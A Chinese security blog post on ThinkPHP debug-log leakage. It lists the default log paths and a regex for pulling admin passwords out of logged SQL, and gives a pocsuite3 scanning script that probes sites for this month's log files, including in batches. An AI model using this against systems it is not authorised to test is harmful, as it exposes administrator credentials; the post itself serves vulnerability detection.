thinkphp日志泄露

漏洞简介

thinkphp在开启DEBUG的情况下会在Runtime目录下生成日志,虽然Thinkphp官方一再强调生产模式下需要关闭debug,但很多管理员还是忘记关闭。

ThinkPHP3日志目录:

  • /Runtime/Logs/
  • /App/Runtime/Logs/
  • /Application/Runtime/Logs/Admin/
  • /Application/Runtime/Logs/Home/
  • /Application/Runtime/Logs/
  • ...

日志格式为:/App/Runtime/Logs/21_05_17.log

ThinkPHP5日志目录:

  • /runtime/log/

日志格式为:/runtime/log/202105/17.log

通过查看日志内容可以发现管理员登录时的SQL语句,进而获取管理员的密码

检测POC

把TP3和TP5的检测POC写在一起了,正则匹配出密码的这一步没有做,因为不同网站的查询SQL语句不一样,很难做到一个正则匹配完全。

常规的密码正则匹配如下

password_pattern = r"`username` = '{}' \) AND \( `password` = '(.*?)'".format(username)

基于pocsuite3的日志检测POC(检测是否有本月内的日志)

#!/usr/bin/env python 
# -*- coding: utf-8 -*-
# @Time    : 2022/2/26 12:46
# @Author  : Cl0udG0d
# @File    : thinkphp日志泄露.py
# @Github: https://github.com/Cl0udG0d
from pocsuite3.api import requests
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase, logger
import ssl
import datetime


ssl._create_default_https_context = ssl._create_unverified_context

class TestPOC(POCBase):
    vulLevel = 3
    vulID = ''
    version = '1.0'
    vulDate = ''
    references = ['']
    name = 'thinkphp日志泄露'
    appPowerLink = ''
    appName = 'thinkphp'
    appVersion = ''
    vulType = '敏感信息泄露'
    desc = '''
    '''
    samples = ['']

    def getTPLogFilename(self,version):
        now_year = datetime.datetime.now().year
        now_month = datetime.datetime.now().month
        now_day = datetime.datetime.now().day
        begin_date = datetime.date(now_year, now_month, 1)
        end_date = datetime.date(now_year, now_month, now_day)

        date_list = [begin_date + datetime.timedelta(days=i) for i in range((end_date - begin_date).days + 1)]
        filename_list = []
        for date in date_list:
            if version == 3:
                filename_list.append(
                    "{:0>2d}_{:0>2d}_{:0>2d}.log".format(int(str(date.year)[2:]), date.month, date.day))
            elif version == 5:
                filename_list.append("{}{:0>2d}/{:0>2d}.log".format(date.year, date.month, date.day))
        return filename_list



    def _verify(self):
        result = {}
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36',
        }
        log_path_list = {
            '3': ['/Runtime/Logs/', '/App/Runtime/Logs/', '/Application/Runtime/Logs/Admin/',
                '/Application/Runtime/Logs/Home/', '/Application/Runtime/Logs/'],
            '5': ['/runtime/log/'],
        }

        for temppath in log_path_list['3']:
            filename_list=self.getTPLogFilename(3)
            for filename in filename_list:
                logpath=temppath+filename
                vulurl = "{}{}".format(
                    self.url.rstrip('/'), logpath)
                logger.info("Scan {}".format(vulurl))
                try:
                    resp = requests.get(url=vulurl, headers=headers, timeout=3, verify=False)
                    if "INFO" in resp.text and resp.status_code==200:
                        result['VerifyInfo'] = {}
                        result['VerifyInfo']['url'] = vulurl
                        return self.parse_attack(result)
                except Exception as e:
                    logger.error("connect target '{} failed!'".format(vulurl))
                    pass



        for temppath in log_path_list['5']:
            filename_list=self.getTPLogFilename(5)
            for filename in filename_list:
                logpath=temppath+filename
                vulurl = "{}{}".format(
                    self.url.rstrip('/'), logpath)
                logger.info("Scan {}".format(vulurl))
                try:
                    resp = requests.get(url=vulurl, headers=headers, timeout=3, verify=False)
                    if "INFO" in resp.text and resp.status_code==200:
                        result['VerifyInfo'] = {}
                        result['VerifyInfo']['url'] = vulurl
                        return self.parse_attack(result)
                except Exception as e:
                    logger.error("connect target '{} failed!'".format(vulurl))
                    pass

        return self.parse_attack(result)



    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

register_poc(TestPOC)

检测效果

单个检测:

放到扫描器里面批量检测如图:

参考链接

END

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 😃

GIF GIF
posted @ 2022-02-27 00:10  春告鳥  阅读(3600)  评论(0编辑  收藏  举报